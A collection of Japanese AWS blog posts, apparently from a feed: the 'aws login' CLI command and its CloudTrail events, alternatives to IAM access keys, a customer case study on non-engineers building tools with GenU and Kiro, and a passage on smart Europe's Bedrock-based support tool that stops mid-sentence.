本ブログは 2025 年 11 月 19 日に公開された AWS Blog “ Simplified developer access to AWS with ‘aws login’ ” を翻訳したものです。 AWS でのローカル開発用の認証情報の取得が、よりシンプルで安全になりました。新しい AWS Command Line Interface ( AWS CLI ) コマンド aws login を使用すると、長期アクセスキーを作成・管理することなく、AWS にサインアップした直後からすぐに構築を開始できます。 AWS マネジメントコンソール で使用しているのと同じサインイン方法を利用できます。 このブログでは、新しい aws login コマンドを使用して、AWS CLI、AWS Software Development Kit (AWS SDK)、およびそれらを使用して構築されたツールやアプリケーション向けの一時的な認証情報をワークステーションに取得する方法を紹介します。 AWS へのプログラムによるアクセスを始める 以下のセクションで説明するように、AWS マネジメントコンソールのサインイン方法で aws login コマンドを使用できます。 シナリオ 1: IAM 認証情報 (ルートまたは IAM ユーザー) を使用する ルートユーザーまたは IAM ユーザーのユーザー名とパスワードを使用してプログラムによるアクセス用の認証情報を取得するには、以下の手順を実行します。 最新の AWS CLI (バージョン 2.32.0 以降) をインストールします aws login コマンドを実行します デフォルトの AWS リージョン を設定していない場合、リージョンの入力を求められます (例: us-east-2、eu-central-1)。このプロンプトで一度入力すると、AWS CLI はその設定を記憶します。 図 1: AWS CLI のリージョンプロンプト AWS CLI がデフォルトのブラウザを開きます ブラウザウィンドウの指示に従います。 すでに AWS マネジメントコンソールにサインインしている場合は、「Continue with an active session」(アクティブなセッションで続行) という画面が表示されます。 図 2: AWS サインイン – アクティブセッションの選択 AWS マネジメントコンソールにサインインしていない場合は、サインインオプションページが表示されます。「Continue with Root or IAM user」(ルートユーザーまたは IAM ユーザーで続行) を選択し、AWS アカウントにログインします。 図 3: AWS サインイン – サインインオプション 成功です！AWS CLI コマンドを実行する準備ができました。 aws sts get-caller-identity コマンドを試して、現在使用している ID を確認してください。 図 4: AWS サインイン – 完了 シナリオ 2: フェデレーションサインインを使用する このシナリオは、組織の ID プロバイダーを通じて認証する場合に適用されます。フェデレーションで引き受けたロールのプログラムによるアクセス用の認証情報を取得するには、以下の手順を実行します。 シナリオ 1 のステップ 1〜4 を完了してから、以下の手順に進みます ブラウザウィンドウの指示に従います。 すでに AWS マネジメントコンソールにサインインしている場合、ブラウザにはフェデレーションサインインからコンソールへのアクティブな IAM ロールセッションを選択するオプションが表示されます。AWS マネジメントコンソールで マルチセッションサポート を有効にしている場合、最大 5 つのアクティブな AWS セッションを切り替えることができます。 図 5: AWS サインイン – アクティブな IAM ロールセッションの選択 AWS マネジメントコンソールにサインインしていない場合、または別の IAM ロールの一時的な認証情報を取得したい場合は、別のブラウザタブで現在の認証メカニズムを使用して AWS アカウントにサインインします。ログインに成功したら、このタブに戻り、「Refresh」(更新) ボタンを選択します。コンソールセッションがアクティブセッションの下に表示されます aws login プロセスが正常に完了したら、AWS CLI に戻ります 選択したコンソールサインイン方法に関係なく、 aws login コマンドによって発行された一時的な認証情報は、AWS CLI、AWS Tools for PowerShell、AWS SDK によって 15 分ごとに自動的にローテーションされます。これらの認証情報は、IAM プリンシパルに設定されたセッション期間 (最大 12 時間) まで有効です。セッション期間の制限に達すると、再度ログインするよう求められます。 図 6: AWS サインイン – セッションの有効期限 ローカル開発ツールを使用した AWS へのアクセス aws login コマンドでは、プロファイルを使用して複数の AWS アカウントとロールを切り替えることができます。 aws login --profile <PROFILE_NAME> でプロファイルを設定し、 aws sts get-caller-identity --profile <PROFILE_NAME> でそのプロファイルを使用して AWS コマンドを実行できます。 aws login によって発行された一時的な認証情報は、AWS CLI 以外でも使用できます。以下のツールでも利用可能です。 AWS SDK : 開発に AWS SDK を使用している場合、SDK クライアントはこれらの一時的な認証情報を使用して AWS に認証できます AWS Tools for PowerShell : Invoke-AWSLogin コマンドを使用します リモート開発サーバー : ブラウザにアクセスできないリモートサーバーで aws login --remote を使用すると、ブラウザで AWS コンソールにアクセスできるデバイスから一時的な認証情報を取得できます 新しいコンソール認証情報プロバイダーをサポートしていない古いバージョンの AWS SDK: これらの古い SDK を使用して構築されたソフトウェアは、AWS CLI の credential_process プロバイダー を使用することで、 aws login によって提供される認証情報をサポートできます IAM ポリシーによる aws login へのアクセス制御 aws login コマンドは、 signin:AuthorizeOAuth2Access と signin:CreateOAuth2Token の 2 つの IAM アクションによって制御されます。 SignInLocalDevelopmentAccess マネージドポリシーを使用するか、これらのアクションを IAM ポリシーに追加して、コンソールアクセス権を持つ IAM ユーザーと IAM ロールがこの機能を使用できるようにします。 AWS Organizations を使用していて、メンバーアカウントでのこのログイン機能の使用を制御したい場合は、サービスコントロールポリシー (SCP) を使用して上記の 2 つのアクションを拒否できます。これらの IAM アクションとそのリソースは、すべての関連する IAM ポリシーで使用できます。 AWS では、AWS Organizations で 一元化されたルートアクセス管理 を使用して、メンバーアカウントから長期ユーザー認証情報を排除することを推奨しています。この機能により、セキュリティチームは中央の管理アカウントから短期間でタスクが限定されたルートセッションを通じて特権タスクを実行できます。一元化されたルート管理を有効にしてメンバーアカウントのルートユーザー認証情報を削除すると、メンバーアカウントへのルートユーザーログインが拒否され、aws login を使用したルートユーザー認証情報によるプログラムによるアクセスも防止されます。ルートユーザー認証情報または IAM ユーザーを使用している開発者にとって、 aws login は開発ツールに一時的な認証情報を提供し、有効期限のない長期アクセスキーに代わる安全な方法となります。 aws login を使用したプログラムによるアクセスのログ記録とセキュリティ AWS サインインは AWS CloudTrail を通じて API アクティビティをログに記録します。CloudTrail には aws login 固有の 2 つの新しいイベントが追加されました。このサービスは、ユーザーがログインした AWS リージョンで AuthorizeOAuth2Access と CreateOauth2Token という 2 つの新しいイベント名を記録します。 以下は AuthorizeOAuth2Access イベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser", "arn": "arn:aws:sts::225989345271:assumed-role/Admin/testuser, "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "11111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-17T22:50:14Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-17T22:51:32Z", "eventSource": "signin.amazonaws.com", "eventName": "AuthorizeOAuth2Access", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "requestParameters": { "scope": "openid", "redirect_uri": "http://127.0.0.1:53037/oauth/callback", "code_challenge_method": "SHA-256", "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "e2854c76-1cba-4360-9fd1-5037b591466b", "eventID": "59e1720d-3deb-44ff-933d-6828be2a860a", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } 以下は CreateOAuth2Token イベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser-Isengard", "arn": "arn:aws:sts::111111111111:assumed-role/Admin/testuser-Isengard", "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "111111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-18T20:38:10Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-18T20:38:44Z", "eventSource": "signin.amazonaws.com", "eventName": "CreateOAuth2Token", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "aws-cli/2.32.0 md/awscrt#0.28.4 ua/2.1 os/macos#24.6.0 md/arch#arm64 lang/python#3.13.9 md/pyimpl#CPython m/b,AA,Z,E cfg/retry-mode#standard md/installer#exe sid/35033f4ca1bd md/prompt#off md/command#login", "requestParameters": { "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "94562943-c85b-4dc1-bf72-43b0fd42d6de", "eventID": "0b338fac-6a10-4740-b34d-1bb6923e799e", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } aws login コマンドは、認可コード傍受攻撃から保護するために、PKCE (Proof Key for Code Exchange) を使用した OAuth 2.0 認可コードフローを採用しています。これにより、AWS での開発を始めるために IAM ユーザーアクセスキーを設定する代わりとなる、安全な方法が提供されます。長期 IAM アクセスキーに代わる最新の認証アプローチについては、AWS Security Blog「 IAM アクセスキーからの脱却: AWS におけるモダンな認証アプローチ 」を参照してください。 まとめ AWS ローカル開発用ログイン機能は、AWS へのプログラムによるアクセスにおいて長期認証情報の使用を排除するのに役立つ、デフォルトで安全な機能強化です。 aws login を使用すると、AWS マネジメントコンソールへのサインインに使用しているのと同じ認証情報で、すぐに構築を開始できます。この機能は、すべての AWS 商用リージョン (中国と GovCloud を除く) で追加費用なしでご利用いただけます。 詳細については、 AWS CLI ユーザーガイド の認証とアクセスのセクションをご覧ください。 Shreya Jain Shreya は AWS Identity のシニアテクニカルプロダクトマネージャーです。複雑なアイデアに明確さとシンプルさをもたらすことにやりがいを感じています。仕事以外では、ピラティスやダンスをしたり、お気に入りのコーヒーショップを探したりしています。 Sowjanya Rajavaram Sowjanya は AWS の Identity and Security を専門とするシニアソリューションアーキテクトです。あらゆる規模のお客様の ID およびアクセス管理の問題解決を支援しています。旅行や新しい文化、食べ物を探求することを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 7 月 21 日に公開された AWS Blog “ Beyond IAM access keys: Modern authentication approaches for AWS ” を翻訳したものです。 AWS の認証において、 AWS Identity and Access Management (IAM) アクセスキーなどの長期認証情報に依存することは、認証情報の漏洩、不正な共有、窃取などのリスクをもたらします。この記事では、AWS のお客様が従来 IAM アクセスキーを使用してきた 5 つの一般的なユースケースと、検討すべきより安全な代替手段を紹介します。 AWS CLI アクセス: AWS CloudShell の活用 主に AWS コマンドラインインターフェイス (AWS CLI) アクセスのためにアクセスキーを使用している場合は、 AWS CloudShell の利用を検討してください。AWS CloudShell はブラウザベースの CLI で、使い慣れた強力な CLI 機能を提供しながら、ローカルでの認証情報管理の必要性を最小限に抑えます。 セキュリティを強化した AWS CLI: AWS IAM Identity Center より堅牢なソリューションが必要な場合は、AWS CLI v2 と AWS IAM Identity Center の組み合わせが優れた認証アプローチを提供します。この統合により、以下が可能になります。 ユーザー管理の一元化 多要素認証 (MFA) とのシームレスな統合 セキュリティ制御の強化 設定は AWS CLI ドキュメント を使用して簡単に行え、MFA は IAM Identity Center MFA ガイド に従って有効化できます。 ローカル開発: IDE 統合 ローカル環境で作業する開発者向けには、Visual Studio Code などの最新の統合開発環境 (IDE) が AWS Toolkit をサポートしており、IAM Identity Center を通じた安全な認証を提供します。これにより、スムーズな開発体験を維持しながら、長期アクセスキーが不要になります。詳細は、 AWS IDE 統合 をご覧ください。 AWS コンピューティングサービスと CI/CD アクセス アプリケーションや自動化パイプラインが AWS リソースへのアクセスを必要とする場合、AWS コンピューティングサービス ( Amazon Elastic Compute Cloud (Amazon EC2) 、 Amazon Elastic Container Service (Amazon ECS) 、 AWS Lambda ) 上で実行する場合でも、CI/CD ツールを通じて実行する場合でも、IAM ロールが理想的なソリューションを提供します。これらのロールは一時的な認証情報のローテーションを自動的に管理し、セキュリティのベストプラクティスに従います。 AWS コンピューティングサービスの場合 : コンピューティングリソースで標準の IAM ロールを使用します。実装の詳細については、 EC2 IAM ロールのドキュメント を参照してください AWS でホストされる CI/CD の場合 : AWS CodePipeline や AWS CodeBuild などを使用する場合は、 サービスリンクロール を使用してアクセス許可を安全に管理します Amazon EC2 でセルフホストされる CI/CD ツールの場合 : Jenkins や GitLab などのツールを AWS リソース上で実行している場合は、他のコンピューティングサービスと同様に IAM ロール (インスタンスプロファイル) を使用します サードパーティの CI/CD サービス (GitHub Actions、CircleCI など) については、次の 外部アクセス要件 を参照してください。 外部アクセス要件 サードパーティアプリケーションやオンプレミスワークロードが関係するシナリオでは、AWS は 3 つの方法を提供しています。 サードパーティアプリケーション : 長期アクセスキーの代わりに、IAM ロールを通じた一時的なセキュリティ認証情報を実装します。ルートユーザーのアクセスキーは絶対に使用しないでください。 サードパーティアクセスのドキュメント を参照してください オンプレミスワークロード : IAM Roles Anywhere を使用して、AWS 以外のワークロード用の一時的な認証情報を生成します。詳細については、 AWS 以外のワークロードのアクセス を参照してください CI/CD SaaS (Software as a Service) : クラウドベースの CI/CD サービスの場合は、 OpenID Connect (OIDC) と IAM ロールの統合 を使用して、永続的な認証情報の必要性を最小限に抑えます。これにより、CI/CD パイプラインは信頼関係を通じて一時的な認証情報を取得できます。実装の詳細については、AWS OIDC プロバイダーのドキュメントを参照してください ベストプラクティス: 最小権限の原則 認証方法に関係なく、常に最小権限の原則を実装してください。これにより、ユーザーとアプリケーションが必要なアクセス許可のみを持つようになります。正確な IAM ポリシーの作成に関するガイダンスについては、 最小権限の IAM ポリシーを作成するためのテクニック を参照してください。 注: AWS は AWS CloudTrail ログに基づくポリシー生成も提供しており、実際の使用パターンに基づいてアクセス許可テンプレートを作成できます。この機能については、 IAM ポリシー生成のドキュメント をご覧ください。 まとめ ここまで紹介してきたように、IAM アクセスキーに代わる安全な代替手段は数多くあり、セキュリティリスクを軽減しながら AWS 認証戦略を強化できます。CloudShell、IAM Identity Center、IDE 統合、IAM ロール、IAM Roles Anywhere などのツールを使用することで、最新のセキュリティのベストプラクティスに沿った堅牢な認証メカニズムを実装できます。重要なポイントは以下のとおりです。 長期アクセスキーを避け、一時的な認証情報を使用する ユースケースに最適な認証方法を選択する すべてのアクセス方法で最小権限の原則を実装する ポリシーの生成と管理のために AWS が提供する組み込みツールを活用する 新しいソリューションが利用可能になったら、認証方法を定期的に見直して更新する これらの変更を行うことで、セキュリティポスチャを改善するだけでなく、AWS 環境全体の認証プロセスを効率化できます。まずは現在の IAM アクセスキーのユースケースを特定し、これらのより安全な代替手段に段階的に移行することから始めてください。将来的にセキュリティ管理の負担が軽減され、セキュリティチームにとっても大きなメリットとなるでしょう。 Mitch Beaumont Mitch はオーストラリアのシドニーを拠点とする Amazon Web Services のプリンシパルソリューションアーキテクトです。オーストラリア最大級の金融サービスのお客様と協力し、構築・提供する製品や機能のセキュリティ水準を継続的に向上させる支援をしています。仕事以外では、家族との時間、写真撮影、サーフィンを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 株式会社アド・ダイセン 様とアマゾン ウェブ サービス ジャパン合同会社が共同で執筆いたしました。 みなさん、こんにちは。ソリューションアーキテクト 瀬高 拓也です。 株式会社アド・ダイセンの理念は「”顧客”から”個客”へ」。付加価値を追求し、One to One コミュニケーションを具現化することを掲げています。目標を共有する二人三脚の戦略パートナーとして、顧客一人ひとりの「おもてなし」にフォーカスした”個客”戦略を打ち出しています。 このような理念を実現するためには、お客様ごとにカスタマイズされたソリューションを提供する必要があり、限られたリソースで多様な要求に応える柔軟性と、個別対応を可能にする技術基盤の構築が重要な課題となっていました。。本ブログでは、アド・ダイセン様が Generative AI Usecases (GenU) を活用し、非技術者が主導して業務効率化を実現した取り組みをご紹介します。 成熟業界で生き残るための現場主導 DX：マニュアルワーカーからナレッジワーカーへ アド・ダイセン様は、ダイレクトメール（DM）の企画・制作から配送までを一貫して手がける企業です。成熟業界において会社が生き残るために、生産性向上が必須の課題であると捉えていました。 同社が直面していた最大の課題は、「現場レベルの DX は現場の人間にしかできない」という現実でした。お客様ごとのリピートビジネスであることから案件ごとに異なる帳票形式や運用プロセスになっており、業務の個別最適化が自然と発生していました。 このような業務が無数に存在する中で、グループ会社を含めてエンジニアは在籍しているものの、無数にある案件ごとの課題全てにエンジニアを割り当てるのは現実的ではありませんでした。その結果、基幹システムやサブシステムを刷新しても、手元の業務プロセスの効率化までに至らないという状況に陥っていました。 この課題に対し、同社は 3〜4 年前から RPA を導入し、本業に近いところで活用するなど、業務改善に前向きに取り組んでいましたが、さらなる加速が必要であると考えていました。 GenU で始まった現場主導の業務効率化 当初、アド・ダイセン様には明確な AI 活用ビジョンはありませんでしたが、「取り残されないために AI を使わなければ」という危機感がありました。 社内では既に生成 AI をマクロのコーディングやブログ執筆などに利用していましたが、チャットによるテキストベースのやり取りに留まっていました。そこで Amazon Bedrock を活用するイベントをきっかけに、GenU をご紹介させていただき、より実践的な活用を模索され始めました。 Amazon Bedrock が利用料に応じた従量課金である点も、まずは触ってみるという姿勢にマッチしており社内での実践的な検証をすることになりました。 生成 AI チームの発足と初期の取り組み 同社は RPA、社内 Q&A ツール、生成 AI の 3 チームを基礎研究を目的として編成し、生成 AI チームが GenUを前提に活動を開始しました。 GenUの機能や、ビルダーモードという独自にユースケースの作成ができる機能を使い、以下のような取り組みを行いました： – 議事録の自動作成 : 会議内容の要約と整理 – 画像判定ツール : DM の封筒加工の向きや面付けチェックの自動化 – 営業数字の分析ツール : 売上データの可視化と分析 これらは新しい価値を提供できたものの、テキスト出力が中心である点や既存事業の中心である事務業務の効率化には直結していない点から「もっと実務に直結する形で活用できないか」という課題が残っていました。 転機：スケジュール管理ツールの開発に成功 転機となったのは、名古屋のメンバーが「業務効率化のためのツールを Python で作れないか」という課題に挑戦し、GenU で Excel と Python を組み合わせたツールの開発に成功したことです。 学生時代に Python に触れた経験のあるメンバーが、GenU の チャット機能を活用して、スケジュール管理ツールを開発しました。 – 機能 : 出荷日から逆算して並行する 5〜10 本のプロジェクトのスケジュールを自動生成 – 連携 : Excel への自動転記、VBA で Outlook のカレンダーに自動登録 – 効果 : 2〜3 時間かかっていた作業が 数分で完了 このツールは従来人間が手作業で目視をしながら行う、スケジュール調整と転記作業を自動化し、主要な事務作業の多くに共通する変数取得→情報処理→提出資料への反映というプロセスを自動化することに成功しました。また、業務時間の効率化だけでなく、人的ミスの削減にも大きく寄与し作業自体の品質向上にもつながりました。また、何より重要だったのは、「非技術者でも 生成AI を使えば実務に直結するツールを作れる」という現場レベルのDXにおける成功体験を得たことでした。 次のステップ： Kiro を活用したより複雑な課題への挑戦 GenU を用いた開発による成功を受け、Kiro の活用を進めています。Kiro は統合開発環境（IDE）として、Agentic AI との対話を通じてコードを修正し、指示を出しながら開発を進められるツールです。 GenU で培った経験を基に、生成 AI チームのメンバーが Kiro を試験的に使い始めました。最初に取り組んだのが、配送シミュレーションツールの開発です。 アド・ダイセン様では、民間の配送業者と郵便局を使い分けて DM を配送しています。従来は Microsoft Access で事前シミュレーション用の資産レポートを作成していましたが、数万～多いもので数百万レコードにもなるデータを１件１件、複数ファイルの配送マスターに当ててシミュレーションする作業は非常に負荷が高く、案件によっては丸 2 日かけて行う業務でした。 Kiro での開発と効果 Kiro を使って配送シミュレーションツールの開発に挑戦したところ、大きな改善効果が得られました： – 開発時間 : わずか 2 時間で基本機能が完成 – 処理時間 : まる 2 日かかっていた作業が約 30 秒に短縮 – 機能 : 約 10 社の宅配会社マスターから選択、ファイルが複数でも、どのようなファイルレイアウトでも一括照合、結果の可視化 Kiro の IDE 機能 + Agentic AI により、コードの編集、デバッグ、実行を一貫して行えたことが、開発スピードの向上につながりました。「このデータをこう処理したい」という業務要件を伝えることで、AI がコードを生成・修正していく対話的な開発プロセスが、非技術者でも高度なツールを作れる環境を提供しています。 今後の展開 現在、配送シミュレーションツールは実業務での社内リリースに向けて調整中です。リリースの判断基準や展開方法を検討しており、しかるべき担当者がツールを開発、検証し、経験者がチェックしてルールを作る体制を整えて全社のDXを促進していきます。 まとめ 今回は株式会社アド・ダイセン様の事例として、非技術者の方が生成 AI を活用して現場主導で業務効率化を実現した事例をご紹介させていただきました。 GenU や Kiro を使った取り組みは、AIを使った業務効率化だけでなく、現場主導のDXにおいて重要な組織のイノベーション文化促進へとつながるアプローチになります。 今回の事例は AWS Startup Loft Tokyo で開催された Amazon Q Developer Meetup #4 にて同社の吉田様に ご登壇いただいた際にもお話いただきました。会場の皆様から「技術的な専門知識がない中で、どうやって素 晴らしいイノベーションを実現されたのか？」といった質問を多くいただくなど、参加者の方々からも強い関 心を持たれており、多くの業種から注目されるご登壇内容となり、ご好評いただきました。 成熟業界において、マニュアルワーカーからナレッジワーカーへのシフトは生き残りの鍵です。エンジニアリソースの制約がある中で、現場の人間が自ら課題を解決できる環境を整えることが、真の DX 推進につながります。生成 AI を活用にご興味がある方は、 AWS までお問い合わせください 。 ソリューションアーキテクト 瀬高 拓也

本記事は 2025 年 12 月 10 日に公開された How smart Europe Revolutionized Automotive Customer Support with Amazon Bedrock を翻訳したものです。 自動車メーカーにとって、新型車のリリース、無線通信 (OTA) によるソフトウェアアップデート、コネクテッドサービスの開始は、新鮮な顧客体験を生み出します。これらのイノベーションは運転体験の向上に役立つ一方で、自動車所有者から車両の機能、充電機能、メンテナンス手順、デジタルサービスに関する多数の問い合わせを生み出します。 自動車メーカーが現代の自動車業界で競争力を維持するためには、絶え間ないイノベーションサイクルが不可欠です。一方で、イノベーションのスピードは、新しい技術を迅速に習得し、増え続ける車両の機能やサービスを利用する顧客に専門的な案内を提供しなければならないカスタマーエンゲージメントセンターの担当者にますます負荷をかけています。 特に、smart Europeのカスタマーエンゲージメントチームは次のような課題に直面していました。 サポート問い合わせの急激な増加: 製品の発売や機能の更新が頻繁に行われていたため、担当者が対応する問い合わせの量が多く、顧客の待ち時間にボトルネックが生じていました。人手に頼ったプロセスで大量の問い合わせを処理するためにsmart Europeの担当者を増やす必要が生じ、運用コストが大幅に増加しました。 解決に要する時間の増加: 時間がかかる人手に頼ったプロセスであったため、問い合わせの前さばき、優先順位づけ、分類、解決という一連のプロセスを経て、顧客の待ち時間を長引かせることとなりました。 必要な知識の増大と一貫性のないサービス品質: 基本的な車両操作から高度なコネクテッドカー機能まで、自動車についてのあらゆるテーマについて専門的な案内を行う必要が生じ、サポート担当者に大きな負荷がかかりました。その結果、サポート担当者や分野によって、サービスの質にばらつきが生じていました。 根本的な効率の問題に対処することなく、担当者の拡充やサポート時間を延長する従来の業務拡大アプローチをとった場合、コストが大幅に増加していたと考えられます。 これらの課題の解決を支援するために、AWS は smart Europe と協力し、 smart.AI Case Handler という新しいサポートツールを開発しました。このツールは、問い合わせに関するインサイトとカスタマイズされた対応を提案することで、 smart Europe のサポート担当者の効率を高めます。このブログ記事では、 smart Europe の smart.AI Case Handler の実装について詳しく説明します。  smart Europe について シュトゥットガルトのラインフェルデン＝エヒターディンゲンに本社を置く smart Europe GmbH は、電動モビリティの未来を開拓しています。2020 年以降、 smart は自動車企業として初めて 100% 電気自動車に切り替えました。これにより、アーバンプレミアムモビリティ、電気自動車、コネクテッドモビリティソリューションの先駆者としての地位を確立しました。 自動車業界は急速に進化しています。電気自動車技術、自動運転機能、コネクテッドカーサービスは自動車業界を変革しています。 smart Europe は、変化する消費者の要求と規制要件を満たすために常に新製品と高度な機能を導入しています。しかし、このイノベーションサイクルは予期せぬ課題を生み、カスタマーサポートの複雑さと量は急激に増大しました。 解決策 smart Europe は、自動車企業のカスタマーサポート特有の課題を解決する自動化されたインテリジェントでスケーラブルなサポートソリューションの必要としていました。この目的のために、 smart Europe は AWS と協力して smart.AI Case Handler と呼ばれる包括的な生成 AI ソリューションを実装しました。 smart.AI Case Handler は、過去の問い合わせ履歴とガイドラインを含む smart Europe のナレッジベースに基づき、各問い合わせのインサイトとカスタマイズされた対応を提案するサポート担当者向けの支援ツールです。ユーザーエクスペリエンスの観点では、サポート担当者が Salesforce（smart Europe の CRM システム）で問い合わせ内容を開くと、システムは AI が生成した問い合わせの概要を表示し、内容確認後に顧客への対応に活用できる回答を担当者に提案します。 堅牢でスケーラブルなソリューションを構築するために、 smart Europe は複数の AWS サービスを使用するサーバーレスアーキテクチャを実装しました。これらのサーバーレスサービスは、トラフィックや使用量の変化に応じて自動的にスケーリングされるため、コストを節約し、アプリのパフォーマンスに影響を与えることなくトラフィックの急激な急増にも対応できます。 smart.AI Case Handler は 2 つの補完的な自動ワークフローによって動作し、これらが連携して AI を活用した包括的なサポートを提供します。 ワークフロー 1: 問い合わせケースのタグ付け — 新しい問い合わせケースが作成された瞬間に自動的に分類して優先順位を付け、各分野の専門家に適切に転送できるようにします。 ワークフロー 2: インサイト生成 — AI が生成した分析、類似問い合わせケース、および問い合わせケース対応の進展に応じて動的に更新される対応案を提供します。 これらの２つのワークフローを用いたアプローチにより、問い合わせケースは作成段階から適切に分類されるとともに、ライフサイクル全体を通じて関連するインサイトが継続的に拡充されます。次のセクションでは、各ワークフローの仕組みについて詳しく説明します。 ワークフロー 1: 問い合わせケースのタグ付け smart.AI Case Handler の重要な部分は、各顧客の問い合わせケースにタグを付けることです。 受信した問い合わせケースは分類され、それぞれの専門家が優先的に引き受けます。 smart.AI Case Handler は、タグ付けされた問い合わせケースに基づいて正確なインサイトを生成できます。 図 1 のアーキテクチャ図は、問い合わせケースのタグ付けワークフローがどのように実装されているかを示しています。 図 1: イベント駆動型の問い合わせケースのタグ付けワークフロー 問い合わせケースタグ付け ワークフローでは、次の手順に従うイベント駆動型ワークフローにより、新規の顧客問い合わせケースを迅速に分類できます。 問い合わせケース作成: Salesforce CRM で新しい問い合わせケースが作成されます。 イベント公開: Salesforce EventBus が問い合わせケース作成イベントを送信します。 イベントキャプチャ: Amazon EventBridge はイベントを受信し、 Amazon Simple Queue Service に転送します。 バッファリング: Amazon SQS はイベントをキューに入れて同時実行を管理し、 Amazon Bedrock のクォータ制限を超えないようにします。 処理トリガー: Amazon SQS は AWS Lambda 関数の“ Step Function Scheduler“ をトリガーします。 オーケストレーション: Lambda 関数は 生成AI ベースのマルチステップ処理用の AWS Step Functions ワークフローを開始します。一連の AWS Lambda 関数が Amazon Bedrock エンドポイントを利用して新しい問い合わせケースのタグを生成します。 結果の統合: ワークフローが完了すると、結果は Salesforce API 経由で返送されます。 この自動タグ付けにより作成の瞬間から問い合わせケースが適切に分類されるため、手作業による介入なしでより効率的な転送と優先順位付けが可能になります。 ワークフロー 2: インサイト生成 インサイト生成ワークフローは以下を提供します。 いくつかの段落にまとめられた問い合わせケースの説明、進捗ステップ、お客様の過去の活動 過去に解決された同様の問い合わせケース 資料への参照 URL を含むナレッジベースの抜粋 サポート担当者への顧客対応案。 図 2 の下の図は、このワークフローがどのように実装されたかを示しています。 図 2: 問い合わせケース更新のための高度な AI 分析 インサイト生成ワークフローは、問い合わせケースの作成と更新の両方において、 AI が生成した分析と回答案をサポート担当者に提供します。以下のステップで実行されます。 問い合わせケースは新しい情報 (コメント、通話履歴、社内投稿、メールなど) で更新されます。 Salesforce EventBus が問い合わせケース更新イベントを送信します。 Amazon EventBridge はイベントを受信し、 Amazon SQS に転送します。 Amazon SQS はイベントをキューに入れて同時実行を管理し、 Amazon Bedrock のクォータ制限を超えないようにします。 Amazon SQS は、リソースが使用可能になると AWS Lambda 関数をトリガーします。 AWS Lambda 関数は AWS ステップ関数ワークフローを開始して包括的な分析を行います。 AWS Step Functions ワークフローは、生成 AI モデルのエンドポイントと Amazon Bedrock ナレッジベースを活用した一連のステップを通じてインサイトを生成します (インサイト生成ロジックの詳細を参照)。 生成されたインサイトは、暗号化された Amazon S3 バケットに (キャッシュされた結果として) 保存されます。 サポート担当者が Salesforce で [インサイトを生成] をクリックすると、 Amazon API Gateway は Amazon S3 から事前に生成されたインサイトを取得し、すぐにアクセスできるようにします。 この先回りしたアプローチにより、担当者が必要とする前にインサイトを準備できるため、質の高い AI 支援を維持しながら待ち時間をなくすことができます。 インサイト生成ロジックの詳細 インサイト生成のビジネスロジックを実装するために、 smart Europe の AI チームは、以下の図 3 に示す AWS Step Functions ワークフローを実装しました。 図 3: 詳細なステップ関数のワークフロー AWS Step Functions ワークフローは、複数の AI オペレーションを取りまとめ、サポート担当者のレビューに役立つ包括的なインサイトを生成します。 問い合わせケースの読み込み: 問い合わせの詳細や顧客の過去の問い合わせを含む、すべての関連データを Salesforce から抽出します。 問題の要約: Amazon Bedrock の LLM を使用して、お客様の問題の構造化された概要を作成します。 並列ナレッジ検索: Amazon Aurora (pg_vector 利用) で作成された Amazon Bedrock ナレッジベース の複数のデータソースを 同時に検索すると、以下が可能になります。 ナレッジ記事ステップ: ナレッジベースから関連ドキュメントを取得 類似事例ステップ: 意味的に類似した過去の事例を特定します。 ソリューションの要約: 問題の概要、ナレッジ記事、および類似事例を統合して、ソリューションを提案します。 並列でのインサイト生成: 問い合わせケースの要約: 簡潔な問い合わせケース概要を作成します。 回答を生成: 担当者がカスタマイズして送信できるように、回答の下書きを作成します。 技術的課題の克服 このアーキテクチャを実装するにあたり、 smart Europe は３つの固有の課題を解決する必要がありました。 課題 1: 担当者の待ち時間が長い 初期のイテレーションでは、サポート担当者が [インサイトを生成] をクリックしたときに、問い合わせケースのタグ付けと応答の生成が開始されていました。そのため、担当者は AWS Step Functions のワークフローが完了するまで 1 ～ 2 分待つ必要があり、ユーザーエクスペリエンスが許容できないものになっていました。 解決策: 担当者が要求する前にインサイトを生成してキャッシュする先回りした処理を実装しました。これにより、ユーザーエクスペリエンスは待ち時間の長い処理から即時のインサイト提供へと変わりました。 課題 2: API スロットリングとレート制限 Amazon Bedrock には、モデルごとに異なる 推論レート制限 